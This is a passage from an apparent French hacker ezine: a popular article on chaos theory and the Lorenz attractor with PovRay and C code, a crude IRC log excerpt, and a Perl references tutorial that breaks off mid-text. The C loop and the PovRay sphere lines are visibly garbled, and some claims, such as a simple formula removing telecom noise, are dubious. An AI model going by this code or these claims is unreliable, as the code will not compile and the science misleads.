enfin n'avoir plus rien à voir avec la météo réel. Selon ses calculs les 2 courbes auraient du se suivre, c'est un peu comme si un enfant de 1ere année s'amuse avec sa calculatrice et assaye 2+2 et sa donne 4, alors il assaye 4+4 et s'attend a 8 mais rencontre 9. Après réflexion il réalisat que ce n'était pas sont ordinateur le problème, mais sa précision. Sont royal mcbee calculait des nombres à 6 chiffres (1.234567) mais pour des raisons d'économies de papier il arrondissait à la 3ieme décimal (1.234) ce qui, pensat-il, ne donnerait pas de différence notable sur le produit final, mais vus que le processus de calcul est itéré pratiquement indéfiniment, la petite erreur qui s'est lentement glissé au début est rapidement devenu une grosse qui prenait une ampleur exponentiel et erratique, n'importe quel mathématicien ou physicien aurait vu la une bizzarerie, quelque chose sans interrets réel qui n'à pas ce sens ni de solutions, mais Lorenz, un météorologue y vit le chaos pour la première fois. La seconde grande découverte de Lorenz fut de trouver un moyen de représenter graphiquement l'ordre dans le désordre avec un graphique cartésien à 3 dimensions appeler "Attracteur de Lorenz", avec un opération non- linéaire simple iterré a l'infinis il obtenait des nombres à virgule "random", ces nombres n'avaient aucune suite logique et ne semblait avoir aucune correlation, aucun moyen de dire qu'il provenait de la même opération.. pourtant, en utilisant cette opération pour trouvé des points sur un graphique cartésien à 3 dimensions, formait, au grand¸ étonnement de Lorenz, une boucle infinie clairement définie et qui semblait obéire à une trajectoire très déterministe, même si aucun point ne se touchait, ni se répetait. Il avait découvert l'ordre du désordre, les lois qui régissent le fondement du chaos, ces même lois qui allaient dans les années 80 définir les systèmes dynamiques (pas le genre de choses qui nous montre dans les écoles, à vrai dire les notions que nous apprenons a l'école date tout simplement de l'antiquité). C'est bien beaux d'avoir trouvé un moyen de visualisé le chaos, mais quoi peux servir de une telle notion ? Aussi inutile que sa puisse paraîte, c'est une notion qui aide à comprendre les comportements érratique et à les immiter. Les deux exemples pratique les plus simples que j'ai trouver sont la poussière de cantor et.. la formation de flocons de neige. La poussière de cantor En Télécommunication le bruit est un phénomène bien connus, ce sont de petites intermitances dans le signal qui à première vue sont totalement chaotique, elle brouille le signal et rend difficile de décodage de l'information. Formuler une opération mathématique linéaire qui élimine ce bruit est totalement impossible, de plus un tel code se composerait de millier de lignes de codes. avec la théorie du chaos, une simple opration comme x>> = x-(x/3) résoud le problème de bruit a n'importe quelle échelle. pour figurer la poussière de cantor (chaos.jpg, fig. 1) prennez une ligne droite, divisez la en 3. Ensuite enlevé la section du milieux. Puis avec les 2 lignes droite qui reste, répetez l'opération, jamais vous n'atteignerez la valeur 0, les valeurs restante sont appelez "poussière de cantor", cette méthode permet de calculé avec précision, peu importe l'échelle de temps, l'arrivé d'erreurs à première vus chaotique dans les lignes électriques ou les circuits électroniques.. magique :0 POUSSIÈRE DE CANTOR (voir chaos.jpg fig. 1) 000000000000000000000000000 000000000000000000000000000 000000000 000000000 000000000 000000000 000 000 000 000 000 000 000 000 0 0 0 0 0 0 0 0 Pour ceux qui ont encore aucune idée de ce don je parle, je vais y'aller avec une approche plus géométrique. Si vous regardez la figure 2 de chaos.jpg, vous pouvez voir un triangle équilatérale noir, puis au tier de sa longueur j'ai ajouté un triangle du tier de sa grosseur et ainsi de suite, j'aurais pu continuer a l'infinis, tracé un cercle autour du triangle initial et l'air total de la figure final ne dépasserait pas celle du rond qui borde les pointe du triangle initial. Les flocons de neige sont formés à partir d'un algorythme semblable, ajouté la dépendence sensitive à l'état initial et les interférences, et vous avez une multitudes de flocons tous différents les un des autres, mais tous semblable.. comme dans la nature :) ? .\\-. | o|__ |C ¸¯ / | /¯¯ \__o)__ ((|¯))¯¯¯ [¯¯¯¯] /¯¯¯¯| La turbulence |)|¯¯¯¯| |`| || des ||| | | |_||\ fluides.. ¸.'`', |||____| |__3_|3. ¸.'` (¯¯¯¯¯¯¯¯¯).)¯__/ |¯| `. .¸.'` \¯¯¯¯¯¯¯/||¯¯|| | | `.¸.'`'.¸¸.'`'.¸¸.'`'.¸¸.'` | ¯¯¯¯¯|¸| || (¯ ¯\ (¯ ¯ ¯¯)/ || ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\ | Un autre domaine délaissé par les science que la théorie du chaos | viendrait illuminé, est la turbulence des fluides. Avec des opérations | linéaires, les super ordinateura n'arrivaient pas simulé la turbulence des | fluides a long therme. A vrai dire, ces mêmes super ordinateurs était | incapable de suivre la turbulences de fuildes plus de quelques secondes et ce : dans un centimetre cube de liquide "virtuel". Pourquoi ? Parce que la ; réaction des fluides est totalement imprévisible, en réalité, il est , révisible, mais pas dans sa totalité. Si l'on verse un liquide dans un autre ; liquide, on peu s'attendre a ce que le liquide versé, par la gravité se retrouve dans le fond du contenant, puis remonte en créant un remous (qui est , en réalité 2 tourbillons inversés), mais au fur et a mesure que l'on augmente . le débit, les tourbillions accélèrent, ils peuvent changer de direction spontanément avec une imprédictibilité implacable, pour finalement atteindre un point critique ou il sont "brouillés". Ce processus est un casse tête pour les mathématiciens, et jusqu'aux 20ieme siecle, était considéré comme étant du domaine ésotérique, purement ératique. Mais les plus grand penseurs n'on pas pus se résoudre à un simple désordre inexpliquer, ils savaient que derière se comportement aléatoire se cachait une structure bien organisée. En fait, une chose plus que tout autre cachait la structure du chaos à l'être humain; le bruit (noise). Comme je l'ai mentioné, le chaos est composé d'une opération simple répétée à l'infinis, par contre, ses opérations nécicittes des variables pour pouvoir changer de leur état initial, ces variables sont en réalité des perturbateurs extérieurs au phénomène observé, exemple; pour l'eau, un perturbateur pourrait etre la chaleur d'un deuxième liquide versé dans un premier, ou une vibration altérant le tourbillons d'un liquide. La ou les mathématiciens et autres scientifiques on "glé", c'est que malgré les perturbations extérieurs, le liquide gardait, jusqu'à un certain point de rupture, un comportement qui tendait a suivre sont état initial (cette tendence à suivre un comportement est appeler attracteur étrange, ils sont partout autour de nous, tout le monde à les capacité de les voir ou les trouver). Si pour une expérience, l'état initial d'un liquide est un tourbillon, on lui inflige de petite vibrations, le tourbillons se brouillras probablement légèrement, puis quand les vibrations seront interrompues, l'eau recommencera a tourbillonné comme à sont état initial, mais en décroissant si l'effet de tourbillon n'est pas maintenue artificiellement, pour finalement retourné à sont réel état initial, qui était l'inertie. Le phénomène en tant que tel semble simple à première vue, mais sont comportement toutefois est impossible à calculé linéairement, et sa à agacé les mathématiciens depuis que les mathématique existe. Puis un jours quelques jeunes exentriques dénigrés pour leur projets "hors normes" sont arrivés avec la solution du chaos. Mais comment l'appliquer à la turbulence des fluides ? de la même façon que le reste. Un scientifique isola une goute d'helium liquide dans une petite capsule d'acié inoxidable pour limité les turbulences possible à l'intérieur. Puis en l'isolant dans un bain d'azote liquide il réussit à l'isolé des vibrations du monde extérieur, puis en réchauffant un peut le dessous de sa capsule il créa un tourbillion pratiquement sans "bruit" ce qui lui permit de décortiqué les équations mathématique de base qui régissait les mouvement de l'eau, par la suite il n'avait plusqu'à les iterré à l'infinis pour avoir le comportement de l'eau. Par contre, cette équation vous donnerais le mouvement de l'eau sur une planete absente de gravité, ou il fait 251 degré celsius et qui n'aurait aucune vibration. Donc pour avoir un comportement réaliste vous prenez ses équations, les iterrés, mais en tenant compte des variables externes, ces variables externes engendre le chaos dans l'équation simple de la vie, mais la structure principale de l'équation reste, donnant un semblant d'ordre dans le désordre, parfoit imperceptible à l'oeuil humain. Ce qu'il y'à de bien avec la théorie du chaos, c'est que contrairemnt au opérations linéaire, il n'est pas obligatoire de possèdé toute les variables d'un comportements, par exemple, vous pourriez faire un graphique a partir de donné basique, comme l'opération à iterré, et une seule ou 2 variable suffirait pour observé des comportements érratique soumis a des variables externes, bien sur elle ne donne pas l'exactitude de l'infinis, ce qui serait impensable, mais elle donne le "range" de possibilités soumis à une ou plusieurs variables, les graphiques qui en résultes sont étudié sous forme de fractales. J'ai trouver sur le net une macro de program 3d qui sert a reproduire l'attracteur de lorenz en 3d sur PovRay, c'est pas un language connus mais sa donne une idée de la simplicité de la chose, ce code donne des coordonnées cartésienne avec précision sans jamais donné 2 fois la même coordonné tout en restant dans un "range" spécific (l'attracteur), sa peu paraitre inutile, mais dans une méthode d'encryptation lourde sa prendrais tout son sens. //PovRay 3.5 macro by Marcus Fritzsch // N = number iterations // h, a, b, c: initial parameters // x0, y0, z0: start-location // rad = radius of the spheres that trace the attractor #macro lorenz(h, a, b, c, x0, y0, z0, N, rad) // use it like: // lorenz(0.001099, 10, 28, 8/3, 0.0001, 0.0001, 0.0001, 350000, 0.04) #local i = 0; union { #while (i < N) #local x0 = x0 + h * a * (y0 - x0); #local y0 = y0 + h * (x0 * (b - z0) - y0); #local z0 = z0 + h * (x0 * y0 - c * z0); #if (i > 100) sphere { , rad pigment { color rgb } } #end #local i = i + 1; #end } #end //le algorythme en C C source ¯¯¯¯¯¯¯¯ #include "stdio.h" #include "stdlib.h" #include "math.h" #define N 10000 int main(int argc,char **argv) { int i=0; double x0,y0,z0,x1,y1,z1; double h = 0.01; double a = 10.0; double b = 28.0; double c = 8.0 / 3.0; x0 = 0.1; y0 = 0; z0 = 0; for (i=0;i 100) printf("%d %g %g %g\n",i,x0,y0,z0); } } vous pouvez visualiser les résultat de ces code ici: - http://astronomy.swin.edu.au/~pbourke/fractals/lorenz/ - http://www.sat.t.u-tokyo.ac.jp/~hideyuki/java/Attract.html c'est assé impressionnant :) Vous pouvez même jouer en temps réel avec l'atracteur de lorenz, vous po uvez regarder l'attracteur se former de lui même ou jouer avec en simulan du bruit, qui pertube sa course, comme n'importe quelle bruit perturbant un systeme dynamique, enlevez se bruit et le systeme tente naturellement a retrouver son parcours initial. Un applet java le simule à cette adresse: - http://bloch.ciens.ucv.ve/~felix/Java/NonLinear/Lorenz/ - http://www.expm.t.u-tokyo.ac.jp/~kanamaru/Chaos/e/Lorenz/Lorenz.html version flash: - http://gozz.com/portfolio/lorenz_attractor/ pour les programmeurs C qui veulent s'amuser un peux :p - http://www.gweep.net/~rocko/sufficiency/node25.html pis les real hardcore qui veulent se monté un systeme électronique analogique pour visioné l'attracteur dans sa perfection imparfaite; - http://frank.harvard.edu/~paulh/misc/lorenz.htm pis imaginez ceux qui sont encore plus leet pis qui on découvert une corrélation dans ces suites de chiffres avec comme seul aide un bout de papier ou le premier modè de calculatrice portable; - http://www.math.uu.se/~warwick/main/rodes/ResultFile maintenant vous pouvez même le faire runné sur palmOS :p - http://www.micoks.net/~dbennett/la.html [ T H I N K E R S ] La raison pour laquel que les mérites d'avoir découvert le chaos était difficillement attribuable est que plusieurs génies de notre époques l'on vus ou entre vu. Peut on sus le reconnaitre, mais dans plusieurs pays à travers le monde, dans plusieurs domaines, certains l'on exploré; poincaré Khun James Yorke 1960 Benoit Mandelbrot Département de recherche pure IBM Un espece de crink qui a vus l'ordre dans le désordre à travers la première calculatrice portable de HP, une brette qui pouvait prendre plus d'une minute pour résoudre une opération complexe .. eh criss de motivé :p premier article sur le chaos: flot non-périodique déterministe (Deterministic Nonperdiodic Flow) 139 vol. 20 Journal of the Atmospheric Sciences 1961 Edward Lorenz - Californie, USA. MIT Massachusetts Institute of Technology Lorenz voit le chaos dans un graphique météorologique. 1963 Puis il découvre le premier attracteur étrange, qu'il appelra l'attracteur de lorenz (eh.) 1974 Mitchel Feigenbaum - Los alamos, Nouveau Mexique. Division T (Théorique) L'un des pionnier de la théorie du chaos, il établie les principales règles qui régissent le chaos alors qu'il travaillait pour les usa 1977 Robert Stetson Shaw - Santa-Cruz, USA. Stephen Smale - Californie, USA. Université de Berkeley biensur la liste des pionnier du chaos est loin d'etre exaustive mais, les domaines touché sont si nombreux que souvent, plusieurs chercheurs on travailler des années en marge des société scientifique, parce que leur idées était considéré comme ésotérique, et près 30 ans se sont écouler avant que les experts des diverses domaines puissent se rencontrer et échanger leur idées sur le sujet, qui lit le Journal of the Atmospheric Sciences ? Fait amusant: Vers la fin des années 70, sur le campus de l'université de santa cruz, Robert Stetson Shaw s'amusait avec un autre aurdinosaure qui représentait un impasse dans le dévloppement technologique. Le systron-donner était un ordinateur analogique, pour programmer il fallait carrément créer du hardware qui simulait les opérations et le brancher dans le systron-donner, donc il programmait avec du hardware, mais étant analogique, l'ordinateur était approximatif et beaucoup moin précis que les ordinateur basé sur le système binaire et les résultats de simples équations linéaire étaient souvent aléatoires, ses calculs étant basé sur des oscillations au lieux de 1 et 0. Mais dans la recherche du chaos cette inéxactitude remplacea le facteur "random" de la nature et lui permit de visioné une boucle qui se répetait a l'infinis parfaitement sans jamais passé par le meme poin x\y\z, et ce à l'aide d'une simple opération non-linéaire que l'on appel "attracteur de lorenz". [ C O N C L U S I O N ] En conclusion, la théorie vulgarisé peux vous semblé de peux d'utilité ou simplement un "fait" amusant de la nature ou des math, mais en fait, cette théorie est la théorie de l'universalité que tout le monde attendait, elle permettra surment un formidable bon en avant dans le domaine des biotechnologie, de l'informatique et surement de la nanotechnologie, les applications sont réellement infinies, d'ailleur la raison qui ma poussé a lire se livre est que je cherchais à dévlopper une technique de templating universelle en php avec un model OO, et je ne regrette pas du tout de l'avoir lus. La nature à encore réussit a nous surprendre, à nous montré que nos connaissances nous rendent ignorant, la preuve; j'y ai même trouver la réponse de la complexité des femmes! Selon la théorie du chaos, des systèmes simples engendres des comportements compliqués et des systèmes compliqués engendre un comportement simple. ET VOILA! Pour finir sur une note un peu plus sérieuse, je vous laisse quelques sites que j'ai googlé à propos du chaos, si le sujet vous interresse je vous invite à faire pareil, les domaines ou peut s'extrapoler le chaos sont assé surprenants quelque fois. site interressant sur le chaos: Attracteur de Lorenz - http://www.wam.umd.edu/~petersd/lorenzfast.html (en mouvement) - http://archive.ncsa.uiuc.edu/SCMS/DigLib/stills/0892.hobill.lg.gif Chaos work group at Univ. of Maryland - www-chaos.umd.edu - http://www-chaos.umd.edu/Spheres_Photos/spheres_photo.html The Mandelbrot and Julia Sets: A Toolkit of Dynamics Activities - http://math.bu.edu/DYSYS/explorer/index.html Livre à lire absolument (cet article en est un résumé très sommaire) : - Gleick: La théorie du chaos; vers une nouvelle science. Éditions Champs Flammarion [ P R O L O G U E ] La lecture du livre de Gleick m'à fais sourrir plus d'une fois, car en plus de donné une notion de base bien expliqué de la théorie du chaos, il explique comment les experts on fait leur découvertes, donc tout le long du livre on entend parler d'ordinateurs. On peu difficillement s'imaginé ce qu'un génie comme Lorenz qui travaillait sur un ordinateur qui fesait 60 calculs seconde trouvrait à faire sur un dual pentium 4 3GHZ. Plus le livre avance dans l'histoire, plus la technologie de l'informatique avance aussi, quand des informaticiens ce mêlent à la partie sa devient vraiment intérressant; James Crutchfield, un jeune californien qui fesait du skateboard, dans le livre on le décris comme ceci; "Crutchfield appartenait à la première génération de mathématiciens pour qui la logique des microprocesseurs était un langage naturel." Un autre qui m'à fait rire; "Farmer se fit une spécialité du piratage des temps de calcul. Un été il fut invité au National Center for Atmospheric Research à Boulder dans le Colorado, où d'énormes ordinateurs effectuaient des recherches sur des sujets tels que la simulation globale du temps, et ses capacités à siphonner du temps couteux sur ces machines stupéfièrent les climatologues". Bref, si vous n'ête pas un fan des anecdotes historique lisez plutot un livre axé sur les systèmes dynamique, qui sera surement plus de la théorie pure. .----- - -----------------------. | /MinDKinD100 .---'----------- ---------- ------- ------. '-------- - -------------- -| h3@mindkind.org | '-------- - ----------- ------------ -----' < Mindkind tales from IRC > [03:04] init, pète moi dla marde en private [03:04] jvas faire un entre article avec ça [..] [03:05] oubli ca, jecoute la fin de fiction pulpeuse [03:05] quand yeclate par accident la tete du gars [03:05] pis ca memoustille [03:22] tant que c'est pas le boutte que yon les boule rouge dans bouche [03:22] :-) [03:23] pas de prob jmetais deja crossé [03:26] hahahahaha [03:26] ça va être dans le zine ça [03:26] :P [03:26] nice [03:26] HAHAHA [03:26] DUMBFUCK!!! [03:27] jai un penchant secret pour les koalas [03:27] ca mexite pasmal [03:41] DUMBFUCK!!! [03:41] on ^1:text:*:init_null: { .say DUMBFUCK !!! } [03:41] haha [03:42] lastcall is !!! : [03:43] DUMBFUCK!!! [03:43] haha [03:43] hahahaha [03:44] non sérieux [03:44] ta pas un truc pratico pratique [03:44] pour les lecteurs de mindkind ezine? [03:44] du pepsi pis du beure de pinut ca goute weird < ----------------------- > .-----------[MinDKinD100\#100.08]------- ----------. [M]ind[K]ind #100 | ; | - 35/12/03 | . À la conquete du chameau part 4 | - LastCall_ | aka '------------- ----. | i love perl | | _____ ; | '--------------------- ----- -[again, again n again.]---- ------------' Pour ceux qui avait déjà une base en Perl, les articles précédent de cette série ont été fastoche en partie.. maintenant on va enfin s'amuser avec des choses plus "hard". Pour ceux qui s'amusait en C a faire des pointeurs vont enfin peut-être trouver du plaisir à gosser avec des "références" en Perl, mais d'une manière plus utile que juste passer des paramètres par référence. Pour ceux qui ont peur du compliqué, arrêtez-vous la parce que vous allez voir des choses paranormales avec les références si vous arrivez pas a comprendre le principe de référence, référent et déréférence. References ¯¯¯¯¯¯¯¯¯¯ Lorsqu'on fini par jongler avec les variables, aka leur faire faire vraiment ce que l'on veut faire, et bien les références deviennent intéressantes. Petite mise en garde ici, c'est pas du C mais bien du Perl, donc une référence ce trouve à être véritablement seulement une référence à une variable ou une fonction, c'est pas comme en C où l'on garde simplement la valeur de la case mémoire de la variable pointé. Donc oublier toute ce que vous savez en C avec les soit disant "pointeurs" qui sont en faite que des int, ici en Perl on joue qu'avec des vrais références, donc les trucs à la C ne fonctionne pas (eg : incrémenter une référence). Il existe donc deux types de références : les hard et les soft. Une référence hard est la chose à lequel vous vous attendez réellement d'une référence, et la soft est un genre de "tricks" que la plupart des langages de type "scripting" nous permettent de faire. Voici comment créer une référence hard à partir de la variable meuh et la foutre dans pwet: $pwet = \$meuh; Simple! et pour lui accèder (autrement dit déréférencer une variable scalaire) on fait : print $$pwet; Si vous faite print $pwet; vous allez voir quelque chose comme SCALAR(0x1014072c). C'est ce que Perl retourne lorsqu'on print une référence sur un scalar. Vous pouvez aussi bien sure faire des références des types que vous voulez... $a = \%hash; $b = \@array; Et pour printer $b on fait print @$b. Si vous oubliez de mettre le @, vous allez voir un ARRAY(0x1014072c), même chose pour le hash, si vous oubliez le %, vous allez voir HASH(0xqqchose). Faut donc noter qu'une référence est une variable scalaire, et qui faut la déréférencer de la bonne manière, sinon si on fait print $$b; par exemple on va se retrouver avec le message d'erreur : "Not a SCALAR reference". Par contre $$b[0] est valide, et que $$a{bleh} l'est aussi. On peut aussi déréférencer avec @{} ${} %{}, par exemple @{$b} est valide. Et comme si c'était pas assé, pour pseudo simuler de l'objet, Perl nous permet de rajouter -> pour déréférencer, donc $b->[0] et $a->{bleh} reviennent au même que $$b[0] et $$a{bleh} fou hein? Pour pousser ça encore plus loin (oui tjrs plus loin, encore! wouhou!) on peut faire des références anonymes, qui pointe sur un endroit qui est pas une variable qui existe : $pwet = \"roxor"; print $$pwet; # print roxor! Bon ok, la tlm se demande à quoi ça sert? Pour l'instant rien.. haha mais regarder ça : $pwet = [1, 2, 3]; Avec [] on peut créer une liste anonyme.. c'est tu pas super? Donc $pwet[0] donne 1. Et pis pour en rajouter encore dans ce semblant d'inutilité, voila le hash anonyme : $pwet = { aaa => "ahh!", bbb => "bhh!" }; Cool heh? Bon ok j'vous laisse 2 secondes pour penser a quoi ça sert... .... rappelez vous de mon premier article qui montrait à faire des tableaux à 2 dimensions : @a = ( [ "oui", "non" ], [ "yes", "no" ], [ "dah", "niet" ], ); Ah wow ya des []! Ah wow c'est des références! hehe Et oui avec tout ça on peut s'amuser à faire ce qu'on veut tel que : $hashref = { alouette => ["et ben", "oui", "et encore"] }; Qui se déréférence de la manière suivante : print $hashref->{alouette}->[0]; #print et ben ou encore : print @{$$hashref{alouette}}; # print et benouiet encore ou ben : print ${$$hashref{alouette}}[0]; # print et ben Mais la attention les yeux.. c'est à vous de comprendre le principe et d'après imaginer toute les structures que vous pouvez faire pour épater la galerie et rendre votre code illisible (haha). Si vous sentez le besoin d'assigner un paquet de références sur des variables d'une shoot, les () peuvent aider : @refs = \($a, $b, $c); @refs = (\$a, \$b, \$c); @list = ($a, $b, $c); @refs = \(@list); et ça ça revient à faire : @refs; $refs[0] = \$a; $refs[1] = \$b; $refs[2] = \$c; Donc évidamment pour accèder à $a on fait $$refs[0] print ${$refs[0]}; #print le contenu de $a Mais oh! ATTENTION! ne pas faire $$refs[0], car dans ce cas la ça déréférence $refs au lieu de $refs[0], et donc, ça va utiliser la variable $refs au lieu de @refs (qui sont 2 variables totalement différentes!); Et si votre variable $refs n'est pas une référence ça va chier.. ou pire, vous allez faire une soft référence sans vous en rendre compte (oh horreur!). Les soft références sont le type de référence qui vous permettre de faire marcher des références quand vous êtes dans un état mental précaire sans que vous vous en rendiez compte. Voici un exemple simple : $meuh "heh"; $pwet = "meuh"; print $$pwet; #print heh et tant qu'a faire : print ${"meuh"}; # print heh La magie dans tout ça? Lorsque Perl voit que la variable est une string au lieu d'une référence, y'essaye tout simplement de regarder dans sa lookup table de variables si y'a pas de quoi qui matcherait avec.. dans le cas présent ça fait ${"$pwet"}.. plus simple à comprendre écrit ainsi! ;-) Si jamais vous voulez pas que ça vous arrive, faite use strict 'refs'; au début de votre programme et Perl vous laissera pas faire de référence symboliques (aka référence soft). Pour ceux qui aime faire du n'importe quoi, Perl vous laisse aussi le choix de référencer n'importe quoi. Avec * comme symbole devant la variable.. On peut donc ainsi faire des références de filehandles : $pwetFH = \*FH; Fun! * se trouve à gosser avec la table des symboles de Perl (qui contient les variables), donc c'est comme si on serait un peu plus dessous le capot de Perl, en faite $pwet = \$meuh; revient à faire : $pwet = *meuh{SCALAR}; A vous de trouver une utilité pour ça.. noter qu'on peut remplacer SCALAR($) par ARRAY(@), HASH(%), CODE(&) et GLOB(*). Et oui on peut même référencer du code et on peut faire des affaires plutôt intéressante avec ça : foreach my $twit ("a", "b", "c") { *$twit = sub { return $twit x $_[0] } } Koicé ça fait ça? Et bien ça crée des référence globale (donc sans être obliger d'écrire un identifiant tel que $ ou @ devant la variable pour y accéder, et ce pour a b et c. Dans la sub elle-même ça prend le nom de cette référence la et ça le retourne le nombre de fois qu'on spécifie. ouf. bon ok en clair : a(2) retourne "aa". print a(2); # print "aa" À vous de jouer pour plugger ça dans de quoi d'utile... ;-) Pour ceux qui sont pas capable de rien trouver, voici de quoi de bien simple avec le *, disons que je veux faire une référence vers une sub { print "beurk";} je fais : my $twit = "a"; { *$twit = sub { print "beurk\n" } } a(); Notez les { } qui englobe dans un block l'assignation, pourquoi c'est la? En faite j'ai pas d'explication clair et précise sur le sujet, mais disons que coté table des symboles de Perl si je veux que ça marche mon affaire, je dois le mettre dans un block... bizarre, mais nyways on peut pas faire ce "truc" avec use strict car ça crée une référence symbolique.. Un peu de pratique ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Bon sortez vos sabres laser on va maintenant slicer du code les yeux bandés (les YEUX j'ai dis). Avant de faire le Jedi avec les références on va se dégourdir le padawan avec quelques exercices sur les Array (putain je joue trop a KOTOR) : ------------------------- 8< ------------------------------- >8 --------------- my @crystals; # Affectation de "blue" et "red" dans $crystals[4] et $crystals[5] @crystals[4..5] = qw/blue red/; # Affectation de "yellow" dans $crystals[1] (si vous saviez pas ça la...) $crystals[1] = "yellow"; $crystals[0] = "green"; # Pour chaque élément dans l'array @crystal my $i=0; foreach (@crystals){ # print la valeur de l'array à la position $i print "\$crystals[$i] : $_\n"; $i++; } # print le dernier indice (un indice c'est genre $crystal[$INDICE]) # de l'array @crystals print '$#crystals : ' , $#crystals , "\n"; # print le nombre d'éléments du array @crystals print 'scalar @crystals : ' , scalar @crystals , "\n"; # Change le dernier indice du array à 2, # donc @crystals devient juste @crystals[0..2] $#crystals = 2; $i=0; foreach (@crystals){ print "\$crystals[$i] : $_\n"; $i++; } print '$#crystals : ' , $#crystals , "\n"; print 'scalar @crystals : ' , scalar @crystals , "\n"; ------------------------- 8< ------------------------------- >8 --------------- Bon ça serait le fun que vous essayez vous aussi, mais pour les vedges voici le output: $crystals[0] : green $crystals[1] : yellow $crystals[2] : $crystals[3] : $crystals[4] : blue $crystals[5] : red $#crystals : 5 scalar @crystals : 6 $crystals[0] : green $crystals[1] : yellow $crystals[2] : $#crystals : 2 scalar @crystals : 3 Des exemples en veut tu en vla (avec les Array) ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Vous allez avoir besoin de la force pour passer au travers de la prochaine affaire.. ou plutôt, d'avoir comprit le principe avec les foutues références! ------------------------- 8< ------------------------------- >8 --------------- #!/usr/bin/perl -w use strict; # Créer l'array @b my @b = (1, 2, 3); # Crée l'array @a avec la déréférence de la référence de @b # - Ceci est juste pour démontrer que ça marche, # vous êtes barge si vous faite ça pour vrai - my @a = @{ [@b] }; print '@b : ', @b, "\n"; print '@a : ', @a, "\n"; print "\n-----\n"; # RéInitialiser les arrays @a and @b @a = (); @b = (); # Remplir l'array @b @b = (4, 5, 6); # Copié @b dans @a (copy item par item ici, pas de références) @a = @b; print '@b : ', @b, "\n"; print '@a : ', @a, "\n"; print "\n-----\n"; # RéRéInitialiser @a et créer @c @a = (); my @c = (7, 8, 9); # On empile dans @a l'array @b ou plutôt on empile sa référence push @a, [ @b ]; # again! push @a, [ @c ]; print '@b : ', @b, "\n"; print '@c : ', @c, "\n"; print '@a : ', @a, "\n"; print '$a[0][0] : ', $a[0][0], "\n"; print '@{$a[0]} : ', @{$a[0]}, "\n"; # ATTENTION: Ça ça print RIEN! #print @$a[0]; print "\n-----\n"; # RéRéRéInitialiser @a @a = (); # on va se servir de @a comme un array de reférences # On empile dans @a la référence de l'array @b push @a, \@b; # si @a est vide : $a[0] = \@b; push @a, \@c; # NOTE: \@c fait la même affaire que [ @c ], et supposément plus vite. # par contre il va falloir se servir de [ ] si on veut avoir # quelque chose de temporaire (ou anonyme) push @a, [ split '-', '11-12-13' ]; push @a, [22, 23, 24]; # ATTENTION: Les prochains lignes vont pas marcher, ça prends le premier élément de @b # et le push comme un array ref... # avec use strict ç print: Can't use string ("4") as an ARRAY ref while "strict refs" #push @a, @b; # ATTENTION: ne pas se tromper entre [] et () #push @a, (@b); # Sinon ça va faire la même chose que push @a, $b[0], $b[1], $b[2]... # donc @a va être un array normal (pu de références!) print '@b : ', @b, "\n"; print '@c : ', @c, "\n"; print '@a : ', @a, "\n"; print '$a[0][0] : ', $a[0][0], "\n"; print '@{$a[0]} : ', @{$a[0]}, "\n"; print '@{$a[1]} : ', @{$a[1]}, "\n"; print '@{$a[2]} : ', @{$a[2]}, "\n"; print '@{$a[3]} : ', @{$a[3]}, "\n"; # ATTENTION: Si on assaye d'accèder à un indice non existant #print '@{$a[30]} : ', @{$a[30]}, "\n"; # Ça va printer: Can't use an undefined value as an ARRAY reference # ATTENTION: la ligne suivante print rien #print @$a[0]; print "\n"; ------------------------- 8< ------------------------------- >8 --------------- ouf. Voici le output: @b : 123 @a : 123 ----- @b : 456 @a : 456 ----- @b : 456 @c : 789 @a : ARRAY(0x81016f4)ARRAY(0x810300c) $a[0][0] : 4 @{$a[0]} : 456 ----- @b : 456 @c : 789 @a : ARRAY(0x8101724)ARRAY(0x8103830)ARRAY(0x8103078)ARRAY(0x810303c) $a[0][0] : 4 @{$a[0]} : 456 @{$a[1]} : 789 @{$a[2]} : 111213 @{$a[3]} : 222324 M'enfin maintenant vous savez pratiquement tout les trucs de Jedi qu'on peut faire avec des arrays.. pas pire quand même non? ;-) En passant quand vous voyez ARRAY(0x8101724) c'est parce que vous imprimer la référence (donc pas la bonne affaire) pour fixer ça suffi de référencer. Dans le cas de ARRAY(0x8101724) faut faire un @{}. Des exemples en veut tu en vla d'autres (et on rajoute les Hash) ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Bon maintenant on va mixer des hash et des array ensemble. Pour plus de plaisir, plus de puissance, plus de O_o comme on dit dans le langage des smileys. ------------------------- 8< ------------------------------- >8 --------------- #!/usr/bin/perl -w use strict; # Création du hash %d avec les clefs "alpha", "beta" # qui ont comme valeurs les arrays anonymes [10,11,12] et [20,21,22] my %d = ( "alpha" => [10,11,12], "beta" => [20,21,22], ); # Print la référence du array anonyme [10,11,12] print '$d{alpha} : ' , $d{alpha} , "\n"; # Print l'array anonyme [10,11,12] print '@{$d{alpha}} : ' , @{$d{alpha}} , "\n"; # ATTENTION: Print l'array anonyme [10,11,12] dans un contexte scalar # (donc le nombre d'élément de la liste!) print 'scalar @{$d{alpha}} : ' . @{$d{alpha}} . "\n"; # SOLUTION: utiliser la virgule , pour passer des paramètres à print au # lieu de concaténer les strings avec les . # Ne fonctionne pas, erreur: Global symbol "$d" requires explicit package name #print @$d{alpha}; # print la longueur du array anonyme [10,11,12] print '$#{$d{alpha}} : ', $#{$d{alpha}}, "\n"; # fait la même chose que la ligne ci-dessus, en trop laid. (dark side coders only) print '$#{@{$d{alpha}}} : ', $#{@{$d{alpha}}}; print "\n"; ------------------------- 8< ------------------------------- >8 --------------- Le output: $d{alpha} : ARRAY(0x80f815c) @{$d{alpha}} : 101112 scalar @{$d{alpha}} : 3 $#{$d{alpha}} : 2 $#{@{$d{alpha}}} : 2 Références vers une fonction comme en C? ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Petite dernière note : on peut passer par référence à une fonction une variable (waw 